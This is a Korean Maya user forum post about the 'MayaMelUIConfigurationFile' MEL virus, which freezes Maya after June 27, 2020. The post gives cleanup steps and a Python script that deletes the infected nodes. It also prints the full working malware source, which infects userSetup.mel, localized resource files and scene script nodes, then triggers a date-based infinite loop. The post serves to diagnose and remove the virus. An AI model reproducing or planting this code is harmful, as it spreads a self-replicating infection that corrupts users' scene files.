회원 로그인
|
2020년 6월 27일 이후 마야가 멈추는 문제
:2020년 6월 27일 이후 마야가 멈추는 문제
증상
해결
참고
https://gist.github.com/OriginalAdric/acbe902c89064e8300f2bc475a953e05
증상
- 마야를 실행하면 멈춤
- 마야를 실행을 했더라도 씬 파일을 열면 멈춤
- 즉, 악성 코드
원인
- C:\Users\사용자\Documents\maya\scripts\userSetup.mel에 아래 내용이 저장 또는 씬 파일 마다 MayaMelUIConfigurationFile 노드가 생성됨
// Maya Mel UI Configuration File.Maya Mel UI Configuration File.. // // // This script is machine generated. Edit at your own risk. // // //////////////////////////////////////////////////////////////////// global proc UI_Mel_Configuration_think(){ string $localized_resources_path = `getenv MAYA_LOCATION`+("/resources/l10n/"); string $all_file[]=`getFileList -folder $localized_resources_path`; string $localized_anim_strings_path =("/plug-ins/animImportExport.pres.mel"); global string $Mel_file_address_lj=(""); // Infect localized anim import/export string files w/ virus? for ( $loc_folder_index = 0 ;$loc_folder_index<`size $all_file`;$loc_folder_index++) { string $Mel_file_address=($localized_resources_path+$all_file[$loc_folder_index]+$localized_anim_strings_path); // If can copy localized file... if (`sysFile -cp ($Mel_file_address+(".Mel")) ($Mel_file_address) ` == 1){ // Delete copied file sysFile -del ($Mel_file_address+(".Mel")); int $gc_xh=0; string $Mel_File_LineBuffer[]; clear $Mel_File_LineBuffer; // Open original localized file $fileId=`fopen ($Mel_file_address) ("r")`; $Mel_File_LineBuffer[0] = `fgetline $fileId`; // Copy localized file lines into buffer while (` size $Mel_File_LineBuffer[$gc_xh]` != 0 ){ $gc_xh++; $Mel_File_LineBuffer[$gc_xh] = `fgetline $fileId`; } fclose $fileId; // Check if localized file has token indicating infection int $isInfected = 0 ; for ( $line_index=0; $line_index<`size $Mel_File_LineBuffer`; $line_index++) { if ($Mel_File_LineBuffer[$line_index] == ("// Maya Mel UI Configuration File.Maya Mel UI Configuration File..")) { $isInfected=1; $line_index=99999999; } } // If not infected, infect current localized file if ($isInfected == 0 ){ $Mel_file_address_lj=$Mel_file_address; if (`whatIs UI_Mel_Configuration_think_b` != "Unknown"){ UI_Mel_Configuration_think_b; } } } else { // Can't infect localized string file(s); create UserSetup.mel instead if (`whatIs UI_Mel_Configuration_think_a` != "Unknown") { UI_Mel_Configuration_think_a; } } } } global proc UI_Mel_Configuration_think_a(){ // Get application defaults file path as tokenized list string $system_WDLJ = `about -environmentFile`; string $buffer[]; tokenize $system_WDLJ "/" $buffer; // Re-combine all but last 2 tokens on first token for($ii = 1; $ii < `size $buffer` - 2; $ii++) { $buffer[0] = $buffer[0] + "/" + $buffer[$ii]; } // Make first token point to user setup script location $buffer[0] = $buffer[0] + "/scripts/userSetup.mel"; int $pd_file_existence_check = 0; // Check that userSetup file exists if (`sysFile -cp ($buffer[0]+"..a") ($buffer[0]) ` == 1){ // File exists; clean up 'check' file. sysFile -del ($buffer[0]+"..a"); // ? Copy setup into memory ? int $ii=0; string $NR_all[]; clear $NR_all; $fileId=`fopen ($buffer[0]) "r"`; $NR_all[0] = `fgetline $fileId`; while (` size $NR_all[$ii]` != 0 ){ $ii++; $NR_all[$ii] = `fgetline $fileId`; } fclose $fileId; int $pdNR_all=0; for ($ii = 0 ; $ii<`size $NR_all`;$ii++){ if ($NR_all[$ii] == ("// Maya Mel UI Configuration File.Maya Mel UI Configuration File..")){ $pdNR_all = 1 ;$ii= 99999999; } } if ($pdNR_all == 0){ $pd_file_existence_check = 1; } } // Copy failed. File doesn't exist. else { // Create blank userSetup file. $sys_document = `fopen ($buffer[0]) "w"`; fprint $sys_document (""); fclose $sys_document; // Try to copy file if (`sysFile -cp ($buffer[0]+"..a") ($buffer[0]) ` == 1){ // Clean up 'check' file sysFile -del ($buffer[0]+"..a"); $pd_file_existence_check = 1; } } if($pd_file_existence_check == 1){ // Copy this script into memory? string $script[] = `ls -type script`; int $isInfected=0; string $nr; for ($ii = 0 ; $ii<`size $script`;$ii++){ $nr = `scriptNode -q -beforeScript $script[$ii]` ; string $infected_file_token = `substring $nr 1 50`; if ($infected_file_token == ("// Maya Mel UI Configuration File.Maya Mel UI Conf")){ $isInfected = 1; $ii = 999999999; } } // Write this script to userSetup? if ($isInfected == 1){ $fuck_All_U = `fopen ($buffer[0]) ("a")`; fprint $fuck_All_U ($nr); fclose $fuck_All_U; } } } global proc UI_Mel_Configuration_think_b() { global string $Mel_file_address_lj; string $script[]=`ls -type script`; int $isInfected=0; string $nr; for ($ii = 0 ; $ii<`size $script`; $ii++){ $nr = ` scriptNode -q -beforeScript $script[$ii] ` ; string $infected_file_token = `substring $nr 1 50`; if ($infected_file_token == ("// Maya Mel UI Configuration File.Maya Mel UI Conf")){ $isInfected = 1; $ii = 999999999; } } if ($isInfected == 1){ $fuck_All_U = ` fopen ($Mel_file_address_lj) ("a")`; fprint $fuck_All_U ($nr); fclose $fuck_All_U; $Mel_file_address_lj=(""); } } global proc autoUpdateAttrEd_SelectSystem(){ string $script[]=`ls -type script`; int $isInfected = 0 ; for ($ii = 0 ; $ii<`size $script`;$ii++){ string $nr = `scriptNode -q -beforeScript $script[$ii] `; string $infected_file_token = `substring $nr 1 50`; if ($infected_file_token == ("// Maya Mel UI Configuration File.Maya Mel UI Conf")){ $isInfected = 1; $ii = 999999999; } } if ($isInfected == 0 ){ string $chengxu =`scriptNode -n MayaMelUIConfigurationFile -beforeScript "// Maya Mel UI Configuration File.Maya Mel UI Configuration File.."`; setAttr ($chengxu+(".scriptType")) 1; } } global proc autoUpdatcAttrEd(){ // Get current date as int string $aboutCD = `about -cd`; string $buffer[]; tokenize $aboutCD ("/") $buffer; $buffer[0] = $buffer[0]+$buffer[1]+$buffer[2]; int $PuTianTongQing=$buffer[0]; // Put app into infinite loop if later than June 27, 2020 if ($PuTianTongQing >= 20200627 ){ for ($Ii=1 ; $Ii>0; $Ii++){ } } } global proc autoUpdatoAttrEnd(){ if ( `whatIs autoUpdatcAttrEd` != "Unknown" ){ autoUpdatcAttrEd; } if ( `whatIs autoUpdateAttrEd_SelectSystem` != "Unknown" ){ autoUpdateAttrEd_SelectSystem; } if ( `whatIs UI_Mel_Configuration_think` != "Unknown" ){ UI_Mel_Configuration_think; } } global proc autoUpdatcAttrEnd(){ if (`whatIs autoUpdatoAttrEnd` != "Unknown" ){ global int $autoUpdateAttrEd_aoto_int; if($autoUpdateAttrEd_aoto_int == 0 ){ $autoUpdateAttrEd_aoto_int=`scriptJob -e ("SelectionChanged") ("autoUpdatoAttrEnd") `; } } } autoUpdatcAttrEnd;
해결
- 내문서/maya 폴더 내의 userSetup.mel 파일이 정상적인지 확인 후 삭제
- C:\Users\사용자\Documents\maya\scripts\userSetup.mel
- C:\Users\사용자\Documents\maya\마야버전\scripts\userSetup.mel
- Open 옵션 창에서 General Options > Execute script nodes 체크 해제
- 파일 오픈
- 아래 스크립트 실행 (파이썬)
import maya.cmds as cmds ta = cmds.ls('MayaMelUIConfigurationFile*', '*:MayaMelUIConfigurationFile', r=True) print ("There are " + str(len(ta)) + " MayaMelUIConfigurationFile node") for t in ta: print ("DELETE \'" + t + "\' node") cmds.delete(t)
5. 씬 저장 (백업을 위해 다른 이름으로 저장 추천)
또는
- Maya Scanner 플러그인(첨부파일) 설치 후 해결
- 파일이 열릴 때 자동으로 스캔하여 픽스해준다. (원본에 그대로 저장 후 마야 종료)
참고
https://gist.github.com/OriginalAdric/acbe902c89064e8300f2bc475a953e05
해결
플러그인
- MayaScanner-win64.msi (596KB) (0)
- MayaScanner-macos.pkg (230.8KB) (0)
- MayaScanner-linux.sh (216.3KB) (0)
댓글 0개
| 엮인글 0개
466개(1/24페이지)
번호 | 제목 | 글쓴이 | 조회 | 날짜 |
---|---|---|---|---|
마야 뷰포트 네비게이션 팁 | 푸딩뱃살 | 42163 | 2020.04.06 17:22 | |
Maya 버전 별 Python 버전 | 푸딩뱃살 | 63535 | 2014.01.08 17:59 | |
464 | [Dev] Autodesk Maya Devkit 다운로드 | 푸딩뱃살 | 676 | 2023.01.28 14:28 |
463 | [Base] (해결 중) modules 환경설정 중 | 푸딩뱃살 | 608 | 2022.11.09 11:47 |
462 | [Script] pymel 딕셔너리형 사용 시 KeyError | 푸딩뱃살 | 807 | 2022.11.07 12:08 |
461 | [오류] Building Numpy for Maya Python 2.7.x | 푸딩뱃살 | 576 | 2022.10.23 14:38 |
460 | [Base] 뷰포트에서 조절자가 안 보일때 | 푸딩뱃살 | 747 | 2022.10.13 15:47 |
459 | [Rigging] mirror joints 사용 시 유의 사항 | 푸딩뱃살 | 745 | 2022.10.04 10:46 |
458 | [Script] 2022에서 enum34 모듈 설치 금지 | 푸딩뱃살 | 586 | 2022.08.17 18:08 |
457 | [Script] pymel 예제 | 푸딩뱃살 | 606 | 2022.07.05 19:20 |
456 | [Script] 인코드 / 디코드 - 2.7 한글 사용 | 푸딩뱃살 | 878 | 2022.03.08 17:52 |
455 | [Dev] ui 없이 mayapy로 자동화 | 푸딩뱃살 | 678 | 2022.02.17 13:56 |
454 | [Dev] mayapy로 ui파일 py로 | 푸딩뱃살 | 515 | 2022.02.15 18:20 |
453 | [오류] Error : MayaBonusTools | 푸딩뱃살 | 887 | 2022.01.21 17:52 |
452 | [오류] Error: ModuleNotFoundError | 푸딩뱃살 | 748 | 2022.01.21 16:24 |
451 | [Dev] mayapy | 푸딩뱃살 | 623 | 2022.01.19 20:08 |
450 | [Base] function selCom at 0x7f29c5c04aa0 | 푸딩뱃살 | 589 | 2022.01.19 17:24 |
449 | [Base] wireframe on shaded 단축키 만들기 | 푸딩뱃살 | 880 | 2022.01.04 10:55 |
448 | [오류] OpenCL Error | 푸딩뱃살 | 506 | 2021.12.28 01:40 |
447 | [Script] Easily Translate MEL Commands to Python | 푸딩뱃살 | 799 | 2021.12.02 11:22 |
446 | [Base] output window 띄우지 않기 | 푸딩뱃살 | 780 | 2021.11.24 21:44 |
445 | [Rigging] shapeEditorManager 삭제 안됨 | 푸딩뱃살 | 862 | 2021.11.12 23:30 |